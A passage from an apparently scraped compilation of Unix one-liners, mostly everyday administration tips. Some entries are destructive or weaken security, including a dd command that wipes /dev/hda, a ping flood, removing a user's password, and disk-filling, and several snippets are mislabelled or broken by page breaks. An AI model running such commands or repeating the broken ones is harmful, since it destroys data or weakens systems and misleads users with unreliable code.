# Execute a command if a file exists
grep -sq "" /etc/lsb-release && lsb_release -rd
# oneliner to open several times same application
for i in $(seq 5); do xpenguins & done
# Locate a list of processes by process name that need to be killed
for i in `ps -ef | grep tracker | awk '{print $8}' | cut -d'/' -f4 | grep -v grep`; do
killall -9 $i; done
# Binary editor
bvi [binary-file]
# Terrorist threat level text
xmlstarlet sel --net -t -o "Terrorist threat level: " -v //@CONDITION http://is.gd/wacQtQ
# Checking DNS zone on Name servers directly
host <domain> <nameserver name>
# Suspend to ram
sudo /etc/acpi/sleep.sh sleep
# create a detached signature for file.txt
gpg -ab file.txt
# encrypt file.txt using myfriend's pubkey && add your signature
gpg -ser 'myfriend@gmail.com' file.txt

609 / 658

All UNIX COMMANDS


# Get the browser user-agent
curl sputnick-area.net/ua
# find files containing text
grep -H -r "string" ./* >> grep.txt
# clear screen, keep prompt at eye-level (faster than clear(1), tput cl, etc.)
Ctrl+l
# Check your ip public using dyndns.org
wget http://checkip.dyndns.org/ -q -O - | grep -Eo '\<[[:digit:]]{1,3}(\.[[:digit:]]{1,3})
{3}\>'
# Launch a Daemon on OSX tiger
launchctl load /Library/LaunchDaemons/<plist config filename>.plist
# Duplicate a directory tree using tar and pipes
(cd /source/dir ; tar cvf - .)|(cd /dest/dir ; tar xvpf -)
# generate random password
openssl rand -base64 1000 | tr "[:upper:]" "[:lower:]" | tr -cd "[:alnum:]" | tr -d "lo" |
cut -c 1-8 | pbcopy
# sendmail via commandline
cat file.txt | sendmail -F myname -f admin@mysite.com guest@guest.com
# Displaying wireless signal on screen in realtime.
watch -n 1 cat /proc/net/wireless

# perl one-liner to get the current week number


perl -e 'use Date::Calc qw(Today Week_Number); $weekn = Week_Number(Today); print
"$weekn\n"'
# tar per directory
cd <YOUR_DIRECTORY>; for i in `ls ./`; do tar czvf "$i".tar.gz "$i" ; done
# backup and remove files with access time older than 5 days.
tar -zcvpf backup_`date +"%Y%m%d_%H%M%S"`.tar.gz `find <target> -atime +5 -type f` 2>
/dev/null | parallel -X rm -f
# What is my ip?
alias whatismyip="wget -q -O - http://whatismyip.com/automation/n09230945.asp"
# BASH: Print shell variable into AWK
MyVAR=84; awk '{ print "'"$MyVAR"'" }'
# View last 100 lines of your SSH log
tail /var/log/auth.log -n 100
# Unique number by Mac Address
UNIQUE_BY_MAC=$(ifconfig |grep eth0|awk '{ print strtonum("0x"substr($6,16,2)) }')
# Automatically find and re-attach to a detached screen session
screen -x `screen -ls | grep Detached | cut -c -10`
# Get internal and external IP addresses

610 / 658

All UNIX COMMANDS


ips(){ for if in ${1:-$(ip link list|grep '^.: '|cut -d\ -f2|cut -d: -f1)};do cur=$
(ifconfig $if|grep "inet addr"|sed 's/.*inet addr:\([0-9\.]*\).*/\1/g');printf '%-5s%-15s%15s\n' $if $cur $(nc -s $cur sine.cluenet.org 128 2>/dev/null||echo $cur);done;}
# ps with parent/child process tree
ls
# List installed hardware
kudzu -p
# Twitter from commandline with curl
curl --basic --user username:password --data status="Twitter from commandline with curl"
https://twitter.com/statuses/update.xml
# Show the processes that use old libs and need a restart
lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u
# Fill up disk space (for testing)
dd if=/dev/zero of=/fs/to/fill/dummy00 bs=8192 count=$(df --block-size=8192 / | awk 'NR!=1
{print $4-100}')
# Reconstruct standard permissions for directories and files in current directory
chmod -R u=rwX,go=rX .
# Repeat last executed command
!!
# aliases for apt-get
alias agi="sudo apt-get install" #package_names
# geoip information
geoip() { lynx -dump "http://www.geoiptool.com/en/?IP=$1" | sed -n '/Host Name/,/Postal
code/p' ; }
# HTTP Caching (gateway/reverse proxy cache for webapps)
response.headers['Cache-Control'] = 'public, max-age=60';
# urlencode
(Command too long..See sample Output..)
# Copy ssh keys to user@host to enable password-less ssh logins.
ssh-copy-id [-i [identity_file]] [user@]machine
# Remove spaces and convert to lowercase filename with a certain extension, to be saved and
called as a script with the extension as an argument.
for i in ./*.$1; do mv "$i" `echo $i | tr ' ' '_'`; done for i in ./*.$1; do mv "$i" `echo
$i | tr '[A-Z]' '[a-z]'`; done for i in ./*.$1; do mv "$i" `echo $i | tr '-' '_'`; done for
i in ./*.$1; do mv "$i" `echo $i | tr -s '_' `; done
# Append current directory to $PATH temporarily.
export PATH=$PATH:`pwd`
# watch porn on older mobile phones
function encode4phone() { ffmpeg -acodec libamr_nb -vcodec h263 -i "$1" -s qcif -b 200k -ac
1 -ab 7.4k -ar 8000 "$1.3gp" }
# Tar Pipe
tar cvf - /src | ( cd /dest ; tar xvf - )

611 / 658

All UNIX COMMANDS


# Join lines
echo -e "aa\nbb\ncc\ndd\n123" | sed -e :a -e "/$/N; s/\n/;/; ta"
# Figure out what shell you're running
ps ho command $$
# Figure out what shell you're running
echo $SHELL
# backup the old files
tar -zcps <dir> -X <(find <dir> -type f -mtime -<days>) |ssh user@backuphost tar -xzpsC
/data/bkup
# Use FileMerge to compare two files
opendiff <file1> <file2>
# Start a quick rsync daemon for fast copying on internal secure network
rsync --daemon --port 9999 --no-detach -v --config .rsyncd.conf
# Get your external IP address
exec 3<>/dev/tcp/whatismyip.com/80; echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost:
whatismyip.com\r\n" >&3; a=( $(cat <&3) ); echo ${a[${#a[*]}-1]};
# Return IP Address
ifconfig -a|grep Bcast:|cut -d\: -f2|awk '{print $1}'
# Shows users and 'virtual users' on your a unix-type system
ps -axgu | cut -f1 -d' ' | sort -u
# Get the IP address of a machine. Just the IP, no junk.
ifconfig -a | awk '/Bcast/{print $2}' | cut -c 5-19
# Find 'foo' in located files
locate searchstring | xargs grep foo
# Execute extension with chrome
wget -O gsplitter.crx "https://clients2.google.com/service/update2/crx?
response=redirect&x=id%3Dlnlfpoefmdfplomdfppalohfbmlapjjo%26uc%26lang%3DenUS&prod=chrome&prodversion=8.0.552.224" ; google-chrome --load-extension gspliter.crx
# Backup a file with a date-time stamp
buf () {oldname=$1; if [ "$oldname" != "" ]; then datepart=$(date +%Y-%m-%d);
firstpart=`echo $oldname | cut -d "." -f 1`; newname=`echo $oldname | sed s/$firstpart/
$firstpart.$datepart/`; cp -i ${oldname} ${newname}; fi }
# Regex or
egrep '(expr1|expr2)' file
# Execute AccuRev pop command to retrieve missing files from a workspace.
accurev stat -M -fl | awk '{print "\"" $0 "\""}' | xargs accurev pop
# Force log creation when running an msi install
msiexec.exe /i product.msi /l* c:\folder\LogFileName.txt
# Remove unused libs/packages in debian-based distros
apt-get remove `deborphan`
# Move a file up a directory.
mv file_name.extension ..

612 / 658

All UNIX COMMANDS


# Power Supply Triggered Alert
check(){ power=$(acpi -a) ; if [[ $power == *on-line* ]] ; then echo "supply is on"; else
echo "somebody is steeling your laptop"; amixer -c0 set Master 100+ unmute ; mpg123 nuclearalarm.mp3 ; fi } ;while true; do check ; sleep 2 ; done
# Pipe music over netcat with mpg123
#Client# cat "The Meters - People Say.mp3" | nc -vv 192.168.1.100 8080; #Server# nc -vv -l
-s 192.168.1.100 -p 8080 | mpg123 -v # print line and execute it in BASH
<TBD>
# Apache server config file
apache2ctl -V | grep SERVER_CONFIG_FILE
# Return IP Address
awk '/inet end/ {print $3}' <(ifconfig eth0)
# calculate in commandline with python
python -c "print 1+1"
# determine if tcp port is open
nc <ip> <port> -v

# Get your external IP address


curl whatismyip.org
# OSX: Use Say Command to Help You Play Hide-and-Seek
txt="";for i in {1..20};do txt=$txt"$i. ";done;say $txt" Ready or not, here I come"
# Easy way to check disk I/O culprits
iotop
# rm all files you grep
find . | grep deleteme | while read line; do rm $line; done
# determine if tcp port is open
fuser -n tcp -s <port> && echo "+open"
# set fan speed (ATI cards)
aticonfig --pplib-cmd "set fanspeed 0 <number>"
# Reset scrambled screen
cat [ENTER]^V^O[ENTER]^D
# grep
more blast.out| grep virus | awk '{print $1}' > virus_id.txt
# Display directory hierarchy listing as a tree
ls -R | grep : | sed -e '\''s/:$//'\'' -e '\''s/[^-][^\/]*\//--/g'\'' -e '\''s/^/
'\''s/-/|/'\''
# Copy All mp3 files in iTunes into one folder (Example: Music on Desktop) (Os X)
find ~/Music/iTunes/ -name *.mp3 -exec cp {} ~/Desktop/Music/ \;
# Get rid of multiple spaces/tabs in a text file
sed -i "s/\s*/ /g;s/\s*$//" input_file

613 / 658

/'\'' -e

All UNIX COMMANDS


# Search recursively to find a word or phrase in certain file types, such as C code
find . -name "*.[ch]" -print | xargs grep -i -H "search phrase"
# recursively delete .svn folders from a directory
rm -rf `find . -type d -name .svn`
# convert from decimal to hexadecimal
hex() { echo $1 16op | dc; }
# Stage added, updated, and DELETED files for commit
git add -u
# Testing php configuration
echo "<?php phpinfo(); ?>" >> /srv/www/htdocs/test.php
# Get your external IP address
curl http://ipecho.net/plain
# Copy directories and files just like
xcopy /e/h/y /z/i /k /f src dest
# Selecting a random file/folder of a folder
ls -1 | awk 'BEGIN{srand()} {x[NR] = $0} END{print "Selected", x[1 + int(rand() * NR)]}'
# Monitoring a port connections
while true ; do sleep 1 ; clear ;

(netstat -tn | grep -P ':36089\s+\d') ;

done

# find previously entered commands


tac ~/.bash_history | grep -w
# Echo several blank lines
yes '' | head -n100
# list all available disks and disk partitions
sed 's/#.*//' /etc/fstab | column -t
# MS-DOS only: Loop over array of system variable
FOR /F "tokens=3* delims=[]=" %A IN ('SET ARRAY[') DO ( echo %A )
# Selecting a random file/folder of a folder
IFS=$'\n'; LIST=`ls -1`; let TOT=`echo $LIST | wc -w`-1 ; array=($LIST); echo "Selected $
{array[ ($RANDOM % $TOT) ]}"

# Quick alias for case-insensitive grep


alias grip="grep -i"
# Selecting a random file/folder of a folder
echo Selected $(ls -1 | sort -R | head -n 1)
# LSD: List directory files in current directory
ls -l !* | /usr/bin/grep '^d'
# print crontab entries for all the users that actually have a crontab
for USER in `ls /var/spool/cron`; do echo "=== crontab for $USER ==="; echo $USER; done
# find the 10 largest directories

614 / 658

All UNIX COMMANDS


find . -type d -print0 | xargs -0 du -s | sort -n | tail -10 | cut -f2 | xargs -I{} du -sh
{} | sort -rn
# Replace tabs with spaces in file
cat file_with_tabs.txt | perl -pe 's/\t/

/g'

# Randomize the order of lines in a text file.


awk 'BEGIN {srand()} {print int(rand()*1000000) "\t" $0}' FILE | sort -n | cut -f 2# declare variable as integer
declare -i aa ; aa=3*8 ; echo $aa
# Read just the IP address of a device
ip addr|grep "inet "
# securely locate file and dir
slocate filename/dirname
# determine if a shared library is compiled as 32bit or 64bit
file -L <library> | grep -q '64-bit' && echo 'library is 64 bit' || echo 'library is 32 bit'
# rcs - local backup of any text configuration file before dangerous experiment with version
control and comments
ci -l /etc/rc.conf
# Securely seeing the password file over the network
vipw
# Print a row of 50 hyphens
<alt+50># Bash function to see if the day ends in "y"
function ends_in_y() { if [ `date +%A | sed -e 's/\(^.*\)\(.$\)/\2/'` == "y" ]; then echo 1;
else echo 0; fi }
# Securely look at the group file over the network
vigr
# Play a random [album/movie] two rows down
mplayer "$(find . -maxdepth 2 -mindepth 2 -type d | grep -v '^.$' | sort -R | head -n1)"/*
# Securely edit the sudo file over the network
visudo
# Removes Apple "garbage"
find . -name *DS_Store -exec echo rm {} \;
# How to run a specific command in remote server by ssh
ssh user@remotehost [anycommand](i.e uptime,w)
# Send packet by ping
sudo ping -f -c 999 -s 4500 target.com
# shrink firefox database
find ~/.mozilla -name '*.sqlite' -exec sqlite3 {} VACUUM \;
# ls
/ls
# Delete everything on hda

615 / 658

All UNIX COMMANDS


dd if=/dev/zero of=/dev/hda bs=16M
# Killing a process in Windows 7 command line
Taskkill /?

# bind a web server in $PWD


python -c "import SimpleHTTPServer;SimpleHTTPServer.test()"
# This command will tell the last login and reboot related information
last
# last mounted device
mount |tail -1 | less -p "/dev/[^ ]*"
# Create a newFolder that is a symbolic link to another folder
ln -s /destinationTarget /sourceTarget/newFolder
# Update all GPG keys in your keyring
gpg --refresh-keys
# Download some ramdom wallpapers from wallbase.cc
wb(){ for i in $(wget -O- -U "" "http://wallbase.cc/random/23/eqeq/1920x1080/0/" --quiet|
grep wallpaper/|grep -oe 'http://wallbase.[^"]*'); do if (( n > "$1" )); then break;fi;let
n++;wget $(wget -O- -U "" $i --quiet|grep -oe 'http://[^"]*\.jpg');done;}
# Lists installed kernels
aptitude search \~ilinux-image
# Extract text from picture [OCR reader]
gocr -i ~/Screenshot.png
# Open files of the same name in TextMate
mate - `find . -name 'filename'`
# Broadcast message to all logged in terminal users.
cat welcome | wall
# How many Non-free software is on your machine ?
vrms
# list all file extensions in a directory
ls | perl -lne '++$x{lc $1} if /[.](.+)$/ }{ print for keys %x'
# Print only the even lines of a file
awk '{if (NR % 2 == 0) print $0}' file.txt
# use a literal bang (exclamation point) in a command
echo '!'whammy
# to perform operation line by line in a file without using sed or awk
s=`head -$i fileName | tail -1`
# Overcome Bash's expansion order
mkdir ${1..10}
# List only hidden files
ls -ad .*

616 / 658

All UNIX COMMANDS


# Batch rename extension of all files in a folder, in the example from .txt to .md
rename .txt .md *.txt
# Graphical tree of sub-directories
tree
# Replace spaces in filename
ls | while read -r FILE; do mv -v "$FILE" `echo $FILE | tr -d ' '`; done
# Quickly make schema changes in Django
while true ; do scripts/bootstrap.py ; ./manage.py runserver ; done
# Execute a PHP script every 30 minutes using crontab
0,30 * * * * php -q /address/to/script.php
# Sort files by size
ls -lS
# stores the number of lines of "file" in a variable to use in a loop
count=`wc -l file | cut -d ' ' -f1`
# Record live sound from soundcard input to FLAC
rec -c 2 -r 44100 -s -t wav - | flac - --sign=signed --channels=2 --endian=big --samplerate=44100 --bps=16 -f -o file.flac

# shell function to find duplicate lines in a series of files or in stdin


dups() { sort "$@" | uniq -d; }
# Delete tens of thousans of files at one go
rm -rf `ls | head -5000`
# remove the last of all html files in a directory
a=($(ls *html)) && a=${a[$(expr ${#a[@]} - 1)]} && rm $a
# Show a script or config file without comments
sed -e '/^[[:blank:]]*#/d; s/[[:blank:]][[:blank:]]*#.*//'
'/^\/\*/d;/^ \* /d;/^ \*\//d' /a/file/with/comments

-e '/^$/d' -e '/^\/\/.*/d' -e

# bash screensaver revised


while [ 1 ]; do clear; echo 'YOUR TEXT HERE' | figlet -f banner -t | while IFS="\n" read l;
do echo "$l"; sleep 0.01; done; done
# View SuSE version
cat /etc/SuSE-release
# Open file with sudo when there is no write-permission
vi2() {for i in $@; do [ -f "$i" ] && [ ! -w "$i" ] && sudo vim $@ && return; done; vim $@}
# Jump to any directory below the current one
jd() { cd **/"$@"; }
# Convert JSON to YAML
cat data.json >data.yml
# Play music radio from Z-103.5
mplayer http://38.100.101.69/CIDCFMAAC
# bash / vim workflow

617 / 658

All UNIX COMMANDS


vim # ssh autocomplete
complete -W "$(echo `cat .bash_history | egrep '^ssh ' | sort | uniq | sed 's/^ssh //'`;)"
ssh
# Compress and Backup a disk image
dd if=/dev/<device location> | gzip -c /<path to backup location>/<disk image name>.img.gz
# Enable passwordless login
passwd -d $USER
# How many lines in your c project?
find -name *.\[c\|h\] | xargs wc -l
# unzip file on local machine copy to remote machine with ssh
gzip -cd file.gz | ssh user@host 'dd of=~/file'
# wmi
wmic -U DOMAIN/user --password='password'
Win32_OperatingSystem" | grep Windows

//IP_HOST "select Caption,CSDVersion,CSName

# Paste what you previously wrote in INSERT MODE


.
(in NORMAL MODE)
# Current host external IP
wget http://cmyip.com -O - -o /dev/null | awk '/\<title/ {print $4}'
# Get memory total from /proc/meminfo in Gigs
awk '{ printf "%.2f", $2/1024/1024 ; exit}' /proc/meminfo
# Convert *.mp3 files to *.wav for recording audio cd's
ls |while read line ; do mpg321 -w "$line.wav" "$line" ; done
# Check cobbler environment
cobbler check
# Remove password from any pdf in current or sub directories
for z in */*.pdf; do gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$z new" -c
.setpdfwrite -f "$z" mv "$z new" "$z"; done
# Encoding with base64
echo "Hello world" | base64
# flush cached dns lookups
ipconfig /flushdns

# Renaming files removing some unwanted extension


for i in *ext; do mv $i ${i%.ext}; done
# Remove lines with matched string
for i in $(find . -iname '*.html'); do sed '/String/d' $i > $i-tmp; mv $i-tmp $i; done
# Kill multiple instances of a running process
pgrep rouge-process | xargs sudo kill -9
# Generate load on your CPU
while true; do /bin/true; done

618 / 658

from

All UNIX COMMANDS


# Ultimate current directory usage command
ls -shF --color
# Get your external IP address
lynx --dump icanhazip.com
# Open any file and suppress error warnings message
alias o='xdg-open "$@" 2>/dev/null'
# Create Bootable USB from ISO file
xcopy D:\*.* /s/e/f E:\
# Recursive when needed
rm strangedirs -rf
# Cut a large wordlist into smaller chunks
less file.lst | head -n 50000 > output.txt
# Look for timthumb.php or thumb.php and get its version.
find `pwd` -type f \( -iname thumb.php -or -iname timthumb.php \) -exec grep -HP 'define ?\
(.VERSION' {} \;
# Get the IP address
ifconfig | grep "inet addr" | cut -d":" -f2 | cut -d" " -f1
# get basic information out of your computer
lspci
# Revert all modified files in an SVN repo
svn revert .
# Play audio file
play $audio_file
# parses the BIOS memory and prints information about all structures (or entry points) it
knows of.
biosdecode
# detect the Super I/O chip on your computer, tell you at which configuration port it is
located and can dump all the register contents.
superiotool
# Ultimate current directory usage command
O=$IFS;IFS=$'\n'; D=$(for f in *;do [[ -d $f ]] && du -sh "$f";done | sort -gr);F=$(for f
in *;do [[ -f $f ]] && du -sh "$f";done | sort -gr);IFS=$O;echo "$D";echo "$F"
# Alternative size (human readable) of directories (biggest first)
function duf { du -k $@ | sort -rn | perl -ne '($s,$f)=split(/\t/,$_,2);for(qw(K M G T))
{if($s<1024){$x=($s<10?"%.1f":"%3d");printf("$x$_\t%s",$s,$f);last};$s/=1024}' }
# System load information alongside process information in a similar style to top.
atop
# open two files in vim
vim file1 file2
# SSH RPC (transparently run command on remote host)
echo -e '#!/bin/bash\nssh remote-user@remote-host $0 "$@"' >> /usr/local/bin/ssh-rpc; chmod
+x /usr/local/bin/ssh-rpc; ln -s hostname /usr/local/bin/ssh-rpc; hostname

619 / 658

All UNIX COMMANDS


# kill a windows process
taskkill /F /im notepad.exe
# Mailing from Vim
w: !mailx -s "Some subject" user@host.com
# Reproduce test failure by running the test in loop
(set -e; while true; do TEST_COMMAND; done) | tee log

# show you the time when you lost the remote server.
ssh remotehosts;date
# sorts /dev/random
find /dev/ -name random -exec bash -c '[ -r $0 -a -w $0 ] && dd if=$0 | sort | dd of=$0'
{} \;
# Remove executable bit from all files in the current directory recursively, excluding other
directories, firm permissions
find . -type f -exec chmod a-x {} \;
# remove unneeded configuration files in debian
dpkg-query -l| grep -v "ii " | grep "rc " | awk '{print $2" "}' | tr -d "\n" | xargs
aptitude purge -y
# Are the two lines anagrams?
s(){ sed 's/./\n\0/g'<<<$1|sort;};cmp -s <(s foobar) <(s farboo)||echo -n "not ";echo
anagram
# Print last modified time in 'date -- file' format
ls -alt /directory/ | awk '{ print $6 " " $7 " -- " $9 }'
# mount a folder tmpfs
tmpfs(){ cd /;for i in $@;do tar czvf /tmp/$i $i;mount -t tmpfs tmpfs /$i;tar xvzf /tmp/
$i;cd ~ ;}# usage: tmpfs etc var
# Kill process by searching something from 'ps' command
ps h -o pid,command | grep 'TEXT' | sed 's/^ \+//' | cut -d ' ' -f 1 | xargs -n 1 kill
# tty columns
col1(){ case $# in 0)echo col1 col-length;;*) sed 's/\(.\{'"$1"'\}\)\(.*\)/\1/' esac;}
# Enable Hibernate in OS X
sudo pmset -a hibernatemode 1
# Kill process by searching something from 'ps' command
ps ux|grep <process name>|awk '{print $2}'|xargs -n 1 kill
# Remove current directory
removedir () { echo "Deleting the current directory $PWD Are you sure?"; read human; if
[[ "$human" = "yes" ]]; then blah=$(echo "$PWD" | sed 's/ /\\ /g'); foo=$(basename "$blah");
rm -Rf ../$foo/ && cd ..; else echo "I'm watching you" | pv -qL 10; fi; }
# ssh Publickey auf remote Rechner anh?ngen
cat .ssh/id_rsa.pub | ssh user@server "cat >>.ssh/authorized_keys2"
# Ignore the specified signal
trap '' 1 2 20 24(signal number)

620 / 658

All UNIX COMMANDS


# Quick scrape of recent mobile home dir file sync for Mac Admins - tested with shell: bash,
Mac OSX 10.5
tail -n 20 ~/Library/Logs/FileSyncAgent.log
# List dot-files and dirs, but not . or ..
find directory -maxdepth 1 -iname "*" | awk 'NR >= 2'
# Display a random man page
(cd /bin; set -- *; x=$((1+($RANDOM % $#))); man ${!x})
# Default value or argument
num_lines=${1:-42}
# Echo a command, then execute it
v () { echo "$@"; "$@"; }
# Renice a group of threads
renice -20 -g 2874 (2784 found with ps -Aj)
# View your machine firewall settings
iptables -L -n -v
# Random password generating function
mkpasswd() { head -c $(($1)) /dev/urandom | uuencode - | sed -n 's/.//;2s/\(.\
{'$1'\}\).*/\1/p' ;}
# Defragment SQLite databases used by Firefox/Win32 and other software.
for /f "delims==" %a in (' dir "%USERPROFILE%\*.sqlite" /s/b ') do echo
vacuum;|"sqlite3.exe" "%a"
# Write and run a quick C program
alias cstdin='echo "Ctrl-D when done." && gcc -Wall -o ~/.stdin.exe ~/.stdin.c &&
~/.stdin.exe'
# Display a random man page
man $(ls -1 /usr/share/man/man?/ | shuf -n1 | cut -d. -f1)

# journaling directories
mkdir `date | sed 's/[: ]/_/g'`
# Get Futurama quotations from slashdot.org servers
echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | head -n5 | tail -1
| cut -f2 -d# Play random playlist
gst123 -z **/*
# Remove all files previously extracted from a tar(.gz) file.
for i in $(tar -tf <file.tar.gz>); do rm $i; done;
# greps the man pages to find utilities
apropos keyword
# Combining text files into one file
cat file1 ... fileN > combinedFile;
# Show the number of current httpd processes

621 / 658

All UNIX COMMANDS


top -b -n 1 |grep httpd|wc -l
# Polls fos network port usage
while sleep 1; do date; (netstat -a -n | grep 80) ; done
# Prints "hello, world" to the console in very large letters
paste <(banner hello,\ ) <(banner world)
# Print file content in reverse order
sed -n '1!G;h;$p' techie.txt
# md5sum for files with bad characters
find . -type f -exec md5sum {} \;
# get a list of top 1000 sites from alexa
curl -s -O http://s3.amazonaws.com/alexa-static/top-1m.csv.zip ; unzip -q -o top-1m.csv.zip
top-1m.csv ; head -1000 top-1m.csv | cut -d, -f2 | cut -d/ -f1 > topsites.txt
# /bin/rm: Argument list too long.
find . -name 'spam-*' |xargs rm;find . -name 'spam-*' -print0 | xargs -0 rm
# Find top 5 big files
count=0;while IFS= read -r -d '' line; do echo "${line#* }"; ((++count==5)) && break; done <
<(find . -type f -printf '%s %p\0' | sort -znr)
# xxcopy everything from one Windows box to another
xxcopy x:\folder1 y:\folder2 /s /h /tca /tcc /tcw /yy
# Show the single most recently modified file in a directory
lastfile () { find ${1:-.} -maxdepth 1 -type f -printf "%T+ %p\n" | sort -n | tail -n1 | sed
's/[^[:space:]]\+ //'; }
# Backup the first 1MB of your volume
dd if=/dev/sdX of=/root/sdX.bin bs=1M count=1
# Figure out what shell you're running
echo $SHELL
# Real full backup copy of /etc folder
cp -a /etc /destination
# kill all running instances of wine and programs runned by it (exe)
ps ax > processes && cat processes | egrep "*.exe |*exe]" | awk '{ print $1 }' > pstokill &&
kill $(cat pstokill) && rm processes && rm pstokill
# Remove blank lines from a file and save output to new file
sed '/^$/d' file >newfile
# Common key binding for 'less' to search for a string
less file.ext
# Move files around local filesystem with tar without wasting space using an intermediate
tarball.
tar -C <source_dir> -cf . | tar -C <dest_dir> -xf
# Emptying a text file in one shot in VIM
:!>test.txt
# Returns the absolute path to a command, using which if needed

622 / 658

All UNIX COMMANDS


get_absolute_path() { echo $1 | sed "s|^\([^/].*/.*\)|$(pwd)/\1|;s|^\([^/]*\)$|$(which -$1)|;s|^$|$1|"; }

# show ip
ip a
# Creating a pseudo-random password
perl -e 'print crypt("PASSWORD",int(rand(128))).$/;'
# count occurences of each word in novel David Copperfield
wget -q -O- http://www.gutenberg.org/dirs/etext96/cprfd10.txt | sed '1,419d' | tr "\n" " "
| tr " " "\n" | perl -lpe 's/\W//g;$_=lc($_)' | grep "^[a-z]" | awk 'length > 1' | sort |
uniq -c | awk '{print $2"\t"$1}'
# extract a certain number of lines from a file and dump them to another file
grep '' -m X file1 > file2
# See smbstatus all the time
while (( $i != 0 )) { smbstatus; sleep 5; clear }
# !$ - The last argument to the previous command
svn status app/models/foo.rb; svn commit -m "Changed file" !$
# Display default values on Foundry (Brocade) RX and MLX BigIron L3 (routers & switches)
sh default values
# kill all pids from $PID
PID=httpd ; ps aux | grep $PID | grep -v grep | awk '{print $2}'

| xargs kill -9

# Twitter Account Validator


if lynx --dump http://twitter.com/xmuda | grep -q "Sorry, that page does"; then echo "Dont
Exist"; else echo "Exist"; fi
# Dispaly a bunch of Info. on Foundry (Brocade) RX and MLX BigIron L3 (routers & switches)
dm ?
# Place a filename at the beginning of the line to make it easier to edit the search at the
end of the command. Place a filename at the beginning of the line to make it easier to edit
the search at the end of the command.
Place a filename at the beginning of the line to make it easier to edit the search at the
end of the command.
# let w3m usecookie
alias w3m='w3m -cookie'
# forcing Windows to do the scandisk during boot
ntfsfix /dev/hda1
# change your PS1 to look better :)
newhostname=$(hostname | awk -F. '{print $1 "." $2}'); ipaddress=$(nslookup `hostname` |
grep -i address | awk -F" " '{print $2}' | awk -F. '{print $3 "." $4}' | grep -v
64.142);PS1="[`id -un`.$newhostname.$ipaddress]"' (${PWD}): '; export PS1
# Copy a file over SSH without SCP
uuencode -m <filename> <filename>
# Find the files that include a TODO statement within a project
grep --exclude-dir=.svn --exclude=*~ -i "TODO" -rl .

623 / 658

All UNIX COMMANDS


# delete first X lines of a file
sed '1,55d'
# Ping 10 times then quit
ping -c 10 hostname
# netstat with group by (ip adress)
netstat -ntu | awk ' $5 ~ /^[0-9]/ {print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
# Recursively remove all .svn directories
find . -name .svn -type d | parallel rm -rf
# pkill
w ; pkill -kill -t pts/1
# Function to solve a simple combinatorial maths puzzle from the command line
marbles () { c=''; for i in $(seq $1); do c+='{b,r}'; done; x=$(eval echo $c); p=''; for i
in $(seq $2); do p+='b*r'; done; y=$(grep -wo "${p}b*" <<< $x); wc -l <<< "$y"; grep -vc
'rr' <<< "$y"; }
# find all processes named hunger and force kill, minus the grep itself and output to a file
called fu.bar
ps -auwx|egrep hunger|grep -v grep| awk '{print "kill -9",$1}' > ~/fu.bar
# run a previous command
!previous_command
# Expand tabs
function expand-tabs() { expand -t 8 "$1" > "$1.expanded"; mv -f "$1.expanded" "$1"; }

# Replace spaces with tabs & format file source recursively within a directory
find . -type f -name \*.php | while IFS="" read i; do expand -t4 "$i" > "$i-"; mv "$i-"
"$i"; done
# Find which version of Linux You are Running
lsb_release -d
# Display RSTP (802.1W) Info. on on Foundry (Brocade) RX and MLX BigIron L3 (routers &
switches)
show 802-1w
# Counting the source code's line numbers C/C++ Java
find /usr/include/ -name '*.[c|h]pp' -o -name '*.[ch]' -exec cat {} \;|wc -l
# A death cow thinking in your fortune cookie
fortune -s -c -a | cowthink -d -W 45
# zip all files in a directory, one file per zip
for i in $( find . ); do
echo zipping file: $i

zip $i.zip $i done

# df without line wrap on long FS name


alias df="df | awk 'NF == 1 {printf(\$1); next}; {print}'"
# Blue Matrix
while :; do integer i=0; COL=$((RANDOM%$(tput cols))); ROW=$((RANDOM%$(tput cols))); while
(( i <= COL)) do tput cup $i $ROW; echo "\033[1;34m" $(cat /dev/urandom | head -1 | cut -c11) 2>/dev/null; i=$(expr $i + 1); done done

624 / 658

All UNIX COMMANDS


# free up memory
echo 3 > /proc/sys/vm/drop_caches
# Download a file securely via a remote SSH server
scp $user@$server:$path/to/file .
# grep 'hoge' **/* => Argument list too long
echo **/* | xargs grep 'hoge'
# This generates a unique and secure password with SALT for every website that you login to
sitepass2() {salt="this_salt";pass=`echo -n "$@"`;for i in {1..500};do pass=`echo -n
$pass$salt|sha512sum`;done;echo$pass|gzip -|strings -n 1|tr -d "[:space:]"|tr -s '[:print:]'
|tr '!-~' 'P-~!-O'|rev|cut -b 2-15;history -d $(($HISTCMD-1));}
# grep 'hoge' **/*
grep -r hoge .

=> Argument list too long

# Rename files that have number, space and hyphen


for f in * ; do mv -- "$f" "${f/[0-9][0-9] \- /}" ; done
# grep 'hoge' **/*
ack hoge .

=> Argument list too long

# set the system date


rdate -s time-A.timefreq.bldrdoc.gov
# http://xname.cc/text/video-streaming-on-wan.pdf
./encode.sh [ h264 | xvid | theora | mpeg4 ]

(encode.sh)

# Remove everyting in a text file. Useful to fix ssh host key warnings
> ~/.ssh/known_hosts
# Graphical display of wireless links
wmwave
# Press Any Key to Continue
read enterKey
# verify a file using its detached signature
gpg --verify file.txt.asc file.txt
# Google Tasks webapp using Chromium Browser
alias gtasks='chromium-browser --app=https://mail.google.com/tasks/ig'
# decrypt file.txt.gpg using my private key
gpg -d file.txt.gpg -o file.txt
# colorize and continuously tail two files
tail -f to.log | colorize.pl +l10:".*" &
# Quick findstring recursively in dirs (Alias from long find with xargs cmd)
alias findstring="find . -type f -print | xargs grep $1"

# Random Password Generator (uses all chars, no repeated chars)


for i in {21..79};do echo -e "\x$i";done | tr " " "\n" | shuf | tr -d "\n"
# Get some useful Information

625 / 658

All UNIX COMMANDS


man <COMMAND>
# kill process by name
pkill
# Check if *hardware* is 32bit or 64bit
if [[ lm = $(cat /proc/cpuinfo | grep " lm ") ]] ; then echo "64 bits" ; else echo "32 bits"
; fi
# small one-line loop, change for different taste :P
for FILE in $(ls); do [COMMAND]; done
# Remove rpm package by pattern
yum erase `yum list installed | grep 'php'`
# yesterday
perl -lne 'use POSIX; print strftime("%Y-%m-%d", localtime(time() - 86400));'
# full cpu info (linux)
cat /proc/cpuinfo
# Equivalent to ifconfig -a in HPUX
